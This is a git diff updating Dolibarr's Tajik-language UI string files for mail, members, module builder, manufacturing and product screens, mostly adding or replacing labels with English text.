9975af18ee1..337e3f252ca 100644 --- a/htdocs/langs/tg_TJ/mails.lang +++ b/htdocs/langs/tg_TJ/mails.lang @@ -7,10 +7,10 @@ MailCard=Корти почтаи электронӣ MailRecipients=Қабулкунандагон MailRecipient=Гиранда MailTitle=Тавсиф -MailFrom=Ирсолкунанда +MailFrom=From MailErrorsTo=Хатогиҳо ба MailReply=Ҷавоб ба -MailTo=Қабулкунанда +MailTo=To MailToUsers=Ба корбарон MailCC=Нусхабардорӣ ба MailToCCUsers=Нусхабардорӣ ба корбарон @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Тамос бо мавқеъ MailingModuleDescEmailsFromFile=Почтаи электронӣ аз файл MailingModuleDescEmailsFromUser=Вуруди почтаи электронӣ аз ҷониби корбар MailingModuleDescDolibarrUsers=Истифодабарандагон бо почтаи электронӣ -MailingModuleDescThirdPartiesByCategories=Шахсони сеюм (аз рӯи категорияҳо) +MailingModuleDescThirdPartiesByCategories=Third parties SendingFromWebInterfaceIsNotAllowed=Фиристодан аз интерфейси веб манъ аст. EmailCollectorFilterDesc=Ҳама филтрҳо бояд мувофиқат кунанд, то почтаи электронӣ ҷамъоварӣ карда шавад @@ -178,3 +178,5 @@ IsAnAnswer=Ҷавоби почтаи аввал аст RecordCreatedByEmailCollector=Сабт аз ҷониби коллектори почтаи %s аз почтаи %s сохта шудааст DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Холӣ, аммо ҳатмӣ +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/tg_TJ/main.lang b/htdocs/langs/tg_TJ/main.lang index 96bf4d9559f..c198cbf6600 100644 --- a/htdocs/langs/tg_TJ/main.lang +++ b/htdocs/langs/tg_TJ/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=Барои ин намуди почтаи электронӣ AvailableVariables=Тағирёбандаҳои ивазкунандаи дастрас NoTranslation=Тарҷума нест Translation=Тарҷума +Translations=Translations CurrentTimeZone=TimeZone PHP (сервер) EmptySearchString=Меъёрҳои холии ҷустуҷӯро ворид кунед EnterADateCriteria=Меъёрҳои сана ворид кунед @@ -199,6 +206,7 @@ Valid=Эътибор дорад Approve=Тасдиқ кардан Disapprove=Рад кардан ReOpen=Аз нав кушоед +OpenVerb=Open Upload=Боргузорӣ ToLink=Пайванд Select=Интихоб кунед @@ -216,8 +224,9 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Ягон гурӯҳи корбарон муайян нашудааст Password=Рамз -PasswordRetype=Пароли худро дубора ворид кунед +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Дар хотир доред, ки дар ин намоиш бисёр хусусиятҳо/модулҳо хомӯш карда шудаанд. +YourUserFile=Your user file Name=Ном NameSlashCompany=Ном / ширкат Person=Шахсе @@ -481,6 +490,7 @@ ActionsOnContact=Чорабиниҳо барои ин тамос/суроға ActionsOnContract=Чорабиниҳо барои ин шартнома ActionsOnMember=Ҳодисаҳо дар бораи ин аъзо ActionsOnProduct=Ҳодисаҳо дар бораи ин маҳсулот +ActionsOnAsset=Events for this fixed asset NActionsLate=%s дер ToDo=Кардан Completed=Анҷом ёфт @@ -888,6 +898,9 @@ MassFilesArea=Минтақаи файлҳое, ки бо амалҳои омма ShowTempMassFilesArea=Нишон додани майдони файлҳое, ки бо амалҳои оммавӣ сохта шудаанд ConfirmMassDeletion=Тасдиқи маҷмӯӣ Нест кардан ConfirmMassDeletionQuestion=Шумо мутмаин ҳастед, ки сабт (ҳо) -и интихобшударо %s нест кардан мехоҳед? +ConfirmMassClone=Bulk clone confirmation +ConfirmMassCloneQuestion=Select project to clone to +ConfirmMassCloneToOneProject=Clone to project %s RelatedObjects=Объектҳои марбут ClassifyBilled=Таснифшуда ҳисоб карда мешавад ClassifyUnbilled=Тасниф карда нашудааст @@ -903,8 +916,8 @@ ExportFilteredList=Рӯйхати филтршударо содир кунед ExportList=Рӯйхати содирот ExportOptions=Имконоти содирот IncludeDocsAlreadyExported=Ҳуҷҷатҳои аллакай содиршударо дохил кунед -ExportOfPiecesAlreadyExportedIsEnable=Содироти қисмҳои аллакай содиршуда фаъол аст -ExportOfPiecesAlreadyExportedIsDisable=Содироти қисмҳои аллакай содиршуда ғайрифаъол аст +ExportOfPiecesAlreadyExportedIsEnable=Documents already exported are visible and will be exported +ExportOfPiecesAlreadyExportedIsDisable=Documents already exported are hidden and won't be exported AllExportedMovementsWereRecordedAsExported=Ҳама ҳаракатҳои содиршуда ҳамчун содирот сабт карда шуданд NotAllExportedMovementsCouldBeRecordedAsExported=На ҳама ҳаракатҳои содиршударо метавон ҳамчун содирот сабт кард Miscellaneous=Гуногун @@ -921,6 +934,7 @@ DirectDownloadInternalLink=Истиноди зеркашии хусусӣ PrivateDownloadLinkDesc=Шумо бояд вориди систем шавед ва барои дидан ё зеркашӣ кардани файл ба шумо иҷозат лозим аст Download=Зеркашӣ кунед DownloadDocument=Ҳуҷҷатро зеркашӣ кунед +DownloadSignedDocument=Download signed document ActualizeCurrency=Навсозии қурби асъор Fiscalyear=Соли молиявӣ ModuleBuilder=Модул ва созандаи барнома @@ -1046,6 +1060,7 @@ SearchIntoContracts=Шартномаҳо SearchIntoCustomerShipments=Интиқоли мизоҷон SearchIntoExpenseReports=Ҳисоботи хароҷот SearchIntoLeaves=Тарк +SearchIntoKM=Knowledge base SearchIntoTickets=Чиптаҳо SearchIntoCustomerPayments=Пардохтҳои муштариён SearchIntoVendorPayments=Пардохтҳои фурӯшанда @@ -1117,6 +1132,7 @@ DeleteFileText=Оё шумо дар ҳақиқат мехоҳед ин файл ShowOtherLanguages=Забонҳои дигарро нишон диҳед SwitchInEditModeToAddTranslation=Барои илова кардани тарҷумаҳо ба ин забон ба ҳолати таҳрир гузаред NotUsedForThisCustomer=Барои ин муштарӣ истифода намешавад +NotUsedForThisVendor=Not used for this vendor AmountMustBePositive=Маблағ бояд мусбат бошад ByStatus=Аз рӯи мақом InformationMessage=Маълумот @@ -1137,15 +1153,29 @@ EventReminder=Ёддошти ҳодиса UpdateForAllLines=Навсозӣ барои ҳама сатрҳо OnHold=Барои нигоҳдорӣ Civility=Шаҳрвандӣ -AffectTag=Таъсир ба Tag +AffectTag=Assign a Tag +AffectUser=Assign a User +SetSupervisor=Set the supervisor CreateExternalUser=Эҷоди корбари беруна -ConfirmAffectTag=Таъсири барчаспҳо -ConfirmAffectTagQuestion=Шумо мутмаин ҳастед, ки мехоҳед барчаспҳоро ба сабт (ҳо) -и интихобшудаи %s таъсир расонед? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project/opportunity +TasksRole=Role assigned on each task (if used) +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=Барои намуди сабтҳо ягон барчасп ёфт нашуд +Rate=Нарх +SupervisorNotFound=Supervisor not found CopiedToClipboard=Ба силули мухобиротӣ нусхабардорӣ карда шуд InformationOnLinkToContract=Ин маблағ танҳо маҷмӯи ҳамаи сатрҳои шартнома аст. Ҳеҷ як мафҳуми вақт ба назар гирифта намешавад. ConfirmCancel=Шумо мутмаин ҳастед, ки бекор кардан мехоҳед EmailMsgID=Ба почтаи MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Ба фаъол гузоштан SetToDisabled=Ба ғайрифаъол гузоштан ConfirmMassEnabling=тасдиқи оммавӣ, ки имкон медиҳад @@ -1174,9 +1204,21 @@ Terminated=Terminated AddLineOnPosition=Add line on position (at the end if empty) ConfirmAllocateCommercial=Assign sales representative confirmation ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? -CommercialsAffected=Sales representatives affected -CommercialAffected=Sales representative affected +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned YourMessage=Your message YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. UrlToCheck=Url to check Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Internal user +ExternalUser=External user +NoSpecificContactAddress=No specific contact or address +NoSpecificContactAddressBis=This tab is dedicated to force specific contacts or addresses for the current object. Use it only if you want to define one or several specific contacts or addresses for the object when the information on the thirdparty is not enough or not accurate. +HideOnVCard=Hide %s +AddToContacts=Add address to my contacts +LastAccess=Last access +UploadAnImageToSeeAPhotoHere=Upload an image from the tab %s to see a photo here +LastPasswordChangeDate=Last password change date diff --git a/htdocs/langs/tg_TJ/members.lang b/htdocs/langs/tg_TJ/members.lang index aa189d45d8e..d5dacecff19 100644 --- a/htdocs/langs/tg_TJ/members.lang +++ b/htdocs/langs/tg_TJ/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Another member (name: %s, logi ErrorUserPermissionAllowsToLinksToItselfOnly=Бо мақсади амният, шумо бояд иҷозати таҳрири ҳамаи корбаронро дошта бошед, то узвро ба корбаре, ки аз они шумо нест, пайванд кунед. SetLinkToUser=Истинод ба як корбари Dolibarr SetLinkToThirdParty=Истинод ба тарафи сеюми Dolibarr +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Рӯйхати аъзоён MembersListToValid=Рӯйхати аъзоёни лоиҳа (тасдиқ карда мешавад) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Аъзои нав @@ -72,12 +74,12 @@ MemberTypeCanNotBeDeleted=Навъи аъзоро нест кардан мумк NewSubscription=New contribution NewSubscriptionDesc=Ин шакл ба шумо имкон медиҳад, ки обунаи худро ҳамчун узви нави бунёд сабт кунед. Агар шумо хоҳед, ки обунаи худро навсозӣ кунед (агар аллакай узв бошад), лутфан ба Шӯрои бунёд тавассути почтаи электронии %s муроҷиат кунед. Subscription=Contribution -AnyAmountWithAdvisedAmount=Any amount with a recommended amount of %s %s -AnyAmountWithoutAdvisedAmount=Any amount +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice CanEditAmountShort=Any amount CanEditAmountShortForValues=recommended, any amount MembershipDuration=Duration -GetMembershipButtonLabel=Get membership +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Дер SubscriptionNotReceived=Contribution never received @@ -205,9 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Гардиш (барои ширкат) ё буҷет (барои таҳкурсӣ) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution regardless of the member type +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type AmountIsLowerToMinimumNotice=sur un dû total de %s -MEMBER_NEWFORM_PAYONLINE=Ба саҳифаи маҷмӯии пардохти онлайн гузаред +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=Аз рӯи табиат MembersStatisticsByProperties=Аъзоёни омор аз рӯи табиат VATToUseForSubscriptions=VAT rate to use for contributionss @@ -228,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/tg_TJ/modulebuilder.lang b/htdocs/langs/tg_TJ/modulebuilder.lang index f255a6225fa..7559f207229 100644 --- a/htdocs/langs/tg_TJ/modulebuilder.lang +++ b/htdocs/langs/tg_TJ/modulebuilder.lang @@ -1,7 +1,8 @@ # Dolibarr language file - Source file is en_US - loan +IdModule= Module id ModuleBuilderDesc=This tool must be used only by experienced users or developers. It provides utilities to build or edit your own module. Documentation for alternative manual development is here. EnterNameOfModuleDesc=Enter the name of the module/application to create with no spaces. Use uppercase to separate words (For example: MyModule, EcommerceForShop, SyncWithMySystem...) -EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, but also API file, pages to list/add/edit/delete object and SQL files will be generated. +EnterNameOfObjectDesc=Enter the name of the object to create with no spaces. Use uppercase to separate words (For example: MyObject, Student, Teacher...). The CRUD class file, the pages to list/add/edit/delete the object and the SQL files will be generated. EnterNameOfDictionaryDesc=Enter the name of the dictionary to create with no spaces. Use uppercase to separate words (For example: MyDico...). The class file, but also the SQL file will be generated. ModuleBuilderDesc2=Роҳе, ки модулҳо тавлид/таҳрир карда мешаванд (феҳристи аввал барои модулҳои беруна ба %s муайян карда шудааст): %s ModuleBuilderDesc3=Модулҳои тавлидшуда/таҳриршаванда ёфт шуданд: %s @@ -9,6 +10,7 @@ ModuleBuilderDesc4=Ҳангоме ки файли %s дар NewModule=Модули нав NewObjectInModulebuilder=Объекти нав NewDictionary=New dictionary +ModuleName=Module name ModuleKey=Калиди модул ObjectKey=Калиди объект DicKey=Dictionary key @@ -48,11 +50,14 @@ PathToModulePackage=Роҳ ба zip -и модул/бастаи барнома PathToModuleDocumentation=Роҳ ба файли ҳуҷҷатҳои модул/ариза (%s) SpaceOrSpecialCharAreNotAllowed=Ҷойҳо ё аломатҳои махсус иҷозат дода намешаванд. FileNotYetGenerated=Файл ҳоло тавлид нашудааст +GenerateCode=Generate code RegenerateClassAndSql=Навсозии маҷбурии файлҳои .class ва .sql RegenerateMissingFiles=Файлҳои гумшударо эҷод кунед SpecificationFile=Файли ҳуҷҷатҳо LanguageFile=Файл барои забон ObjectProperties=Хусусиятҳои объект +Property=Propery +PropertyDesc=A property is an attribute that characterizes an object. This attribute has a code, a label and a type with several options. ConfirmDeleteProperty=Шумо мутмаин ҳастед, ки моликияти %s нест кардан мехоҳед? Ин рамзро дар синфи PHP тағир медиҳад, аммо сутунро аз таърифи ҷадвали объект хориҷ мекунад. NotNull=Не NULL NotNullDesc=1=Set database to NOT NULL, 0=Allow null values, -1=Allow null values by forcing value to NULL if empty ('' or 0) @@ -81,15 +86,16 @@ IsAMeasure=Андоза аст DirScanned=Феҳрист скан шуд NoTrigger=Триггер нест NoWidget=Виджет нест -GoToApiExplorer=Муҳаққиқи API +ApiExplorer=API explorer ListOfMenusEntries=Рӯйхати вурудоти меню ListOfDictionariesEntries=Рӯйхати вурудоти луғатҳо ListOfPermissionsDefined=Рӯйхати иҷозатномаҳои муайяншуда SeeExamples=Намунаҳоро дар ин ҷо бубинед -EnabledDesc=Шарти фаъол будани ин майдон (Намунаҳо: 1 ё $ conf-> global-> MYMODULE_MYOPTION) -VisibleDesc=Оё майдон намоён аст? (Мисолҳо: 0 = Ҳеҷ гоҳ намоён нест, 1 = Дар рӯйхат намоён аст ва шаклҳоро эҷод/навсозӣ/дидан, 2 = Танҳо дар рӯйхат дидан, 3 = Танҳо дар шакли сохтан/навсозӣ/дидан (на рӯйхат), 4 = Дар рӯйхат намоён ва танҳо формаи навсозӣ/намоиш (офарида намешавад), 5 = Танҳо дар намуди рӯйхат намоён аст (эҷод карда намешавад, навсозӣ намешавад.

      Он метавонад ифода бошад, масалан:
      preg_match ('/public/', $ _SERVER ['PHP_SELF'])? 0: 1 a0342fccfda19bz_ (0 user-> 1)> $ user-> 1) -DisplayOnPdfDesc=Ин майдонро дар ҳуҷҷатҳои мувофиқи PDF намоиш диҳед, шумо метавонед мавқеъро бо майдони "Мавқеъ" идора кунед.
      Айни замон, маълум моделҳои ҳамсозҳо PDF мебошанд: eratosthene (амрномаи), espadon (киштӣ), исфанҷеро (њисобнома), кабуд (propal / иқтибос), cornas (молрасон ва тартибот)

      Барои ҳуҷҷат:
      0 = нишон дода нашавад
      1 = Намоиши
      2 = нишон додани танҳо агар холӣ нест,

      Барои хати санад:
      0 = не нишон
      1 = дар сутуни
      3 = Намоиши дар сутуни Тавсифи хатти пас аз тавсифи
      4 = Намоиши дар сутуни тавсифи баъд аз намоиш тавсиф танҳо агар холӣ набошад -DisplayOnPdf=Намоиши PDF +EnabledDesc=Condition to have this field active.

      Examples:
      1
      isModEnabled('MAIN_MODULE_MYMODULE')
      getDolGlobalString('MYMODULE_OPTION')==2 +VisibleDesc=Is the field visible ? (Examples: 0=Never visible, 1=Visible on list and create/update/view forms, 2=Visible on list only, 3=Visible on create/update/view form only (not list), 4=Visible on list and update/view form only (not create), 5=Visible on list end view form only (not create, not update).

      Using a negative value means field is not shown by default on list but can be selected for viewing). +ItCanBeAnExpression=It can be an expression. Example:
      preg_match('/public/', $_SERVER['PHP_SELF'])?0:1
      $user->hasRight('holiday', 'define_holiday')?1:5 +DisplayOnPdfDesc=Display this field on compatible PDF documents, you can manage position with "Position" field.
      For document :
      0 = not displayed
      1 = display
      2 = display only if not empty

      For document lines :
      0 = not displayed
      1 = displayed in a column
      3 = display in line description column after the description
      4 = display in description column after the description only if not empty +DisplayOnPdf=On PDF IsAMeasureDesc=Оё барои ба рӯйхат дохил шудан арзиши майдонро ҷамъ кардан мумкин аст? (Намунаҳо: 1 ё 0) SearchAllDesc=Оё майдон барои ҷустуҷӯи асбоби ҷустуҷӯи зуд истифода мешавад? (Намунаҳо: 1 ё 0) SpecDefDesc=Дар ин ҷо ҳама ҳуҷҷатҳое, ки шумо мехоҳед бо модули худ пешниҳод кунед, ки аз ҷониби дигар ҷадвалҳо муайян нашудаанд, ворид кунед. Шумо метавонед .md ё беҳтар, синтаксиси .asciidoc бойро истифода баред. @@ -130,26 +136,32 @@ UseSpecificEditorURL = URL -и муҳаррири мушаххасро исти UseSpecificFamily = Як оилаи мушаххасро истифода баред UseSpecificAuthor = Муаллифи мушаххасро истифода баред UseSpecificVersion = Як версияи мушаххаси ибтидоиро истифода баред -IncludeRefGeneration=The reference of object must be generated automatically by custom numbering rules +IncludeRefGeneration=The reference of this object must be generated automatically by custom numbering rules IncludeRefGenerationHelp=Check this if you want to include code to manage the generation of the reference automatically using custom numbering rules -IncludeDocGeneration=I want to generate some documents from templates for the object +IncludeDocGeneration=I want the feature to generate some documents (PDF, ODT) from templates for this object IncludeDocGenerationHelp=Агар шумо инро тафтиш кунед, барои илова кардани қуттии "Ҳуҷҷат эҷод кардан" дар сабт баъзе кодҳо тавлид карда мешаванд. -ShowOnCombobox=Нишон додани арзиши дар combobox +ShowOnCombobox=Show value into combo boxes KeyForTooltip=Калид барои маслиҳат CSSClass=CSS барои таҳрир/сохтани форма CSSViewClass=CSS барои хондан CSSListClass=CSS барои рӯйхат NotEditable=Таҳрир карда намешавад ForeignKey=Калиди хориҷӣ -TypeOfFieldsHelp=Type of fields:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +ForeignKeyDesc=If the value of this field must be guaranted to exists into another table. Enter here a value matching syntax: tablename.parentfieldtocheck +TypeOfFieldsHelp=Example:
      varchar(99), double(24,8), real, text, html, datetime, timestamp, integer, integer:ClassName:relativepath/to/classfile.class.php[:1[:filter]]
      '1' means we add a + button after the combo to create the record
      'filter' is a sql condition, example: 'status=1 AND fk_user=__USER_ID__ AND entity IN (__SHARED_ENTITIES__)' +TypeOfFieldsHelpIntro=This is the type of the field/attribute. AsciiToHtmlConverter=Табдилдиҳандаи Ascii ба HTML AsciiToPdfConverter=Табдилдиҳандаи Ascii ба PDF TableNotEmptyDropCanceled=Ҷадвал холӣ нест. Таркиш бекор карда шуд. ModuleBuilderNotAllowed=Созандаи модул дастрас аст, аммо ба корбари шумо иҷозат дода намешавад. ImportExportProfiles=Профилҳои воридот ва содирот -ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or upadate. Set 0 if there is no validation required. +ValidateModBuilderDesc=Set this to 1 if you want to have the method $this->validateField() of object being called to validate the content of the field during insert or update. Set 0 if there is no validation required. WarningDatabaseIsNotUpdated=Warning: The database is not updated automatically, you must destroy tables and disable-enable the module to have tables recreated LinkToParentMenu=Parent menu (fk_xxxxmenu) ListOfTabsEntries=List of tab entries TabsDefDesc=Define here the tabs provided by your module TabsDefDescTooltip=The tabs provided by your module/application are defined into the array $this->tabs into the module descriptor file. You can edit manually this file or use the embedded editor. +BadValueForType=Bad value for type %s +DefinePropertiesFromExistingTable=Define properties from an existing table +DefinePropertiesFromExistingTableDesc=If a table in the database (for the object to create) already exists, you can use it to define the properties of the object. +DefinePropertiesFromExistingTableDesc2=Keep empty if the table does not exist yet. The code generator will use different kinds of fields to build an example of table that you can edit later. diff --git a/htdocs/langs/tg_TJ/mrp.lang b/htdocs/langs/tg_TJ/mrp.lang index fa1ecdac6f0..2b86d18ff7f 100644 --- a/htdocs/langs/tg_TJ/mrp.lang +++ b/htdocs/langs/tg_TJ/mrp.lang @@ -11,8 +11,8 @@ Bom=Векселҳои моддӣ BillOfMaterials=Билл Маводҳо BillOfMaterialsLines=Bill of Materials lines BOMsSetup=Танзими модули BOM -ListOfBOMs=Рӯйхати векселҳои мавод - BOM -ListOfManufacturingOrders=Рӯйхати фармоишҳои истеҳсолӣ +ListOfBOMs=Bills of material - BOM +ListOfManufacturingOrders=Manufacturing Orders NewBOM=Ҳисоботи нави маводҳо ProductBOMHelp=Маҳсулот барои сохтан (ё ҷудо кардан) бо ин БОМ.
      Эзоҳ: Маҳсулоте, ки дорои хусусияти 'Табиати маҳсулот' = 'Ашёи хом' аст, дар ин рӯйхат намоён нестанд. BOMsNumberingModules=Шаблонҳои рақамгузории BOM @@ -27,6 +27,7 @@ ConfirmCloneBillOfMaterials=Шумо мутмаин ҳастед, ки вара ConfirmCloneMo=Шумо мутмаин ҳастед, ки фармони истеҳсолотро %s клон кардан мехоҳед? ManufacturingEfficiency=Самаранокии истеҳсолот ConsumptionEfficiency=Самаранокии истеъмол +Consumption=Consumption ValueOfMeansLoss=Value of 0.95 means an average of 5%% of loss during the manufacturing or the disassembly ValueOfMeansLossForProductProduced=Арзиши 0.95 маънои ба ҳисоби миёна 5%% талафи маҳсулоти истеҳсолшударо дорад DeleteBillOfMaterials=Билли маводро нест кунед @@ -69,6 +70,8 @@ ForAQuantityToConsumeOf=Барои миқдори тақсим кардани %s ConfirmValidateMo=Шумо мутмаин ҳастед, ки ин фармоиши истеҳсолиро тасдиқ кардан мехоҳед? ConfirmProductionDesc=Бо зеркунии '%s', шумо истеъмол ва/ё истеҳсолро барои миқдори муқарраршуда тасдиқ мекунед. Ин инчунин саҳмияҳоро навсозӣ мекунад ва ҳаракати саҳмияҳоро сабт мекунад. ProductionForRef=Истеҳсоли %s +CancelProductionForRef=Cancellation of product stock decrementation for product %s +TooltipDeleteAndRevertStockMovement=Delete line and revert stock movement AutoCloseMO=Агар миқдори истеъмол ва истеҳсол ба даст ояд, Фармони истеҳсолотро ба таври худкор пӯшед NoStockChangeOnServices=Тағйирёбии саҳмияҳо дар хидматҳо ProductQtyToConsumeByMO=Миқдори маҳсулот то ҳол аз ҷониби MO кушода мешавад @@ -80,6 +83,7 @@ ProductsToProduce=Маҳсулот барои истеҳсол UnitCost=Арзиши воҳид TotalCost=Арзиши умумӣ BOMTotalCost=Арзиши истеҳсоли ин БМ дар асоси арзиши ҳар як миқдор ва маҳсулоти истеъмолшаванда (истифодаи арзиши хароҷот, агар муайян карда шуда бошад, дигар Нархи миёнавазни миёна агар муайян карда шавад, дигар нархи беҳтарин харид) +BOMTotalCostService=If the "Workstation" module is activated and a workstation is defined by default on the line, then the calculation is "quantity (converted into hours) x workstation ahr", otherwise "quantity (converted into hours) x cost price of the service" GoOnTabProductionToProduceFirst=Шумо бояд аввал истеҳсолотро барои бастани фармоиши истеҳсолӣ оғоз карда бошед (Ба ҷадвали '%s' нигаред). Аммо шумо метавонед онро бекор кунед. ErrorAVirtualProductCantBeUsedIntoABomOrMo=Маҷмӯаро ба БОМ ё ММ истифода бурдан мумкин нест Workstation=Истгоҳи корӣ @@ -107,3 +111,10 @@ THMEstimatedHelp=Ин меъёр имкон медиҳад, ки арзиши п BOM=Bill Of Materials CollapseBOMHelp=You can define the default display of the details of the nomenclature in the configuration of the BOM module MOAndLines=Manufacturing Orders and lines +MoChildGenerate=Generate Child Mo +ParentMo=MO Parent +MOChild=MO Child +BomCantAddChildBom=The nomenclature %s is already present in the tree leading to the nomenclature %s +BOMNetNeeds = BOM Net Needs +BOMProductsList=BOM's products +BOMServicesList=BOM's services diff --git a/htdocs/langs/tg_TJ/products.lang b/htdocs/langs/tg_TJ/products.lang index b93148d333a..6d9ff1e01eb 100644 --- a/htdocs/langs/tg_TJ/products.lang +++ b/htdocs/langs/tg_TJ/products.lang @@ -137,7 +137,8 @@ ConfirmDeleteProductLine=Шумо мутмаин ҳастед, ки ин хат ProductSpecial=Махсус QtyMin=Дақ. миқдори харид PriceQtyMin=Миқдори нарх min. -PriceQtyMinCurrency=Нарх (асъор) барои ин адад. (тахфиф нест) +PriceQtyMinCurrency=Price (currency) for this qty. +WithoutDiscount=Without discount VATRateForSupplierProduct=Меъёри ААИ (барои ин фурӯшанда/маҳсулот) DiscountQtyMin=Тахфиф барои ин миқдор. NoPriceDefinedForThisSupplier=Барои ин фурӯшанда/маҳсулот нарх/миқдор муайян карда нашудааст @@ -261,7 +262,7 @@ Quarter1=1 -ум. Семоҳа Quarter2=2 -юм. Семоҳа Quarter3=3 -юм. Семоҳа Quarter4=4 -ум. Семоҳа -BarCodePrintsheet=Баркодро чоп кунед +BarCodePrintsheet=Print barcodes PageToGenerateBarCodeSheets=Бо ин асбоб, шумо метавонед варақаҳои стикерҳои штрих -кодро чоп кунед. Формати саҳифаи стикер, навъи штрих -код ва арзиши штрих -кодро интихоб кунед ва тугмаи %s -ро клик кунед. NumberOfStickers=Шумораи стикерҳо барои чоп дар саҳифа PrintsheetForOneBarCode=Барои як штрих -код якчанд стикер чоп кунед @@ -344,9 +345,9 @@ PossibleValues=Арзишҳои имконпазир GoOnMenuToCreateVairants=Ба менюи %s - %s гузаред, то вариантҳои атрибутҳоро омода кунед (ба монанди рангҳо, андоза, ...) UseProductFournDesc=Илова ба тавсифи муштариён хусусиятеро барои муайян кардани тавсифи маҳсулоте, ки фурӯшандагон муайян кардаанд (барои ҳар як истинод ба фурӯшанда) илова кунед ProductSupplierDescription=Тавсифи фурӯшанда барои маҳсулот -UseProductSupplierPackaging=Истифодаи бастабандӣ дар нархҳои таъминкунандагон (миқдорро мувофиқи бастабандӣ дар нархи таъминкунанда ҳангоми илова/навсозии хати ҳуҷҷатҳои таъминкунанда муқаррар кунед) +UseProductSupplierPackaging=Use packaging for prices rounded to multiples for purchase prices (recalculate quantities according to multiples set on purchase prices when adding/updating line in a vendor documents) PackagingForThisProduct=Бастабандӣ -PackagingForThisProductDesc=Ҳангоми фармоиши таъминкунанда, шумо ба таври худкор ин миқдорро фармоиш медиҳед (ё ин миқдори зиёд). Аз ҳадди ақали харид камтар буда наметавонад +PackagingForThisProductDesc=You will automaticaly purchase a multiple of this quantity. QtyRecalculatedWithPackaging=Миқдори хати мувофиқи бастаи таъминкунандагон аз нав ҳисоб карда шуд #Attributes @@ -398,7 +399,7 @@ ActionAvailableOnVariantProductOnly=Амал танҳо дар варианти ProductsPricePerCustomer=Нархи маҳсулот барои як муштарӣ ProductSupplierExtraFields=Хусусиятҳои иловагӣ (Нархи таъминкунандагон) DeleteLinkedProduct=Маҳсулоти кӯдаконаеро, ки ба комбинат алоқаманданд, нест кунед -AmountUsedToUpdateWAP=Amount to use to update the Weighted Average Price +AmountUsedToUpdateWAP=Unit amount to use to update the Weighted Average Price PMPValue=Нархи миёнаи вазн PMPValueShort=WAP mandatoryperiod=Mandatory periods @@ -408,6 +409,23 @@ mandatoryHelper=Check this if you want a message to the user when creating / val DefaultBOM=Default BOM DefaultBOMDesc=The default BOM recommended to use to manufacture this product. This field can be set only if nature of product is '%s'. Rank=Rank +MergeOriginProduct=Duplicate product (product you want to delete) +MergeProducts=Merge products +ConfirmMergeProducts=Are you sure you want to merge the chosen product with the current one? All linked objects (invoices, orders, ...) will be moved to the current product, after which the chosen product will be deleted. +ProductsMergeSuccess=Products have been merged +ErrorsProductsMerge=Errors in products merge 